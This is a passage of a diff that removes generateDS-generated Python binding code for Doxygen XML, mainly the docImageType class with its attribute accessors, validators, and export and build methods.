gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docHeadingType - - -class docImageType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, type_=None, name=None, width=None, height=None, alt=None, inline=None, caption=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.type_ = _cast(None, type_) - self.type__nsprefix_ = None - self.name = _cast(None, name) - self.name_nsprefix_ = None - self.width = _cast(None, width) - self.width_nsprefix_ = None - self.height = _cast(None, height) - self.height_nsprefix_ = None - self.alt = _cast(None, alt) - self.alt_nsprefix_ = None - self.inline = _cast(None, inline) - self.inline_nsprefix_ = None - self.caption = _cast(None, caption) - self.caption_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docImageType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docImageType.subclass: - return docImageType.subclass(*args_, **kwargs_) - else: - return docImageType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_type(self): - return self.type_ - def set_type(self, type_): - self.type_ = type_ - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_width(self): - return self.width - def set_width(self, width): - self.width = width - def get_height(self): - return self.height - def set_height(self, height): - self.height = height - def get_alt(self): - return self.alt - def set_alt(self, alt): - self.alt = alt - def get_inline(self): - return self.inline - def set_inline(self, inline): - self.inline = inline - def get_caption(self): - return self.caption - def set_caption(self, caption): - self.caption = caption - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxImageKind(self, value): - # Validate type DoxImageKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['html', 'latex', 'docbook', 'rtf', 'xml'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxImageKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docImageType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docImageType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docImageType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docImageType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docImageType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docImageType'): - if self.type_ is not None and 'type_' not in already_processed: - already_processed.add('type_') - outfile.write(' type=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.type_), input_name='type')), )) - if self.name is not None and 'name' not in already_processed: - already_processed.add('name') - outfile.write(' name=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.name), input_name='name')), )) - if self.width is not None and 'width' not in already_processed: - already_processed.add('width') - outfile.write(' width=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.width), input_name='width')), )) - if self.height is not None and 'height' not in already_processed: - already_processed.add('height') - outfile.write(' height=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.height), input_name='height')), )) - if self.alt is not None and 'alt' not in already_processed: - already_processed.add('alt') - outfile.write(' alt=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.alt), input_name='alt')), )) - if self.inline is not None and 'inline' not in already_processed: - already_processed.add('inline') - outfile.write(' inline=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.inline), input_name='inline')), )) - if self.caption is not None and 'caption' not in already_processed: - already_processed.add('caption') - outfile.write(' caption=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.caption), input_name='caption')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docImageType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('type', node) - if value is not None and 'type' not in already_processed: - already_processed.add('type') - self.type_ = value - self.validate_DoxImageKind(self.type_) # validate type DoxImageKind - value = find_attr_value_('name', node) - if value is not None and 'name' not in already_processed: - already_processed.add('name') - self.name = value - value = find_attr_value_('width', node) - if value is not None and 'width' not in already_processed: - already_processed.add('width') - self.width = value - value = find_attr_value_('height', node) - if value is not None and 'height' not in already_processed: - already_processed.add('height') - self.height = value - value = find_attr_value_('alt', node) - if value is not None and 'alt' not in already_processed: - already_processed.add('alt') - self.alt = value - value = find_attr_value_('inline', node) - if value is not None and 'inline' not in already_processed: - already_processed.add('inline') - self.inline = value - self.validate_DoxBool(self.inline) # validate type DoxBool - value = find_attr_value_('caption', node) - if value is not None and 'caption' not in already_processed: - already_processed.add('caption') - self.caption = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - 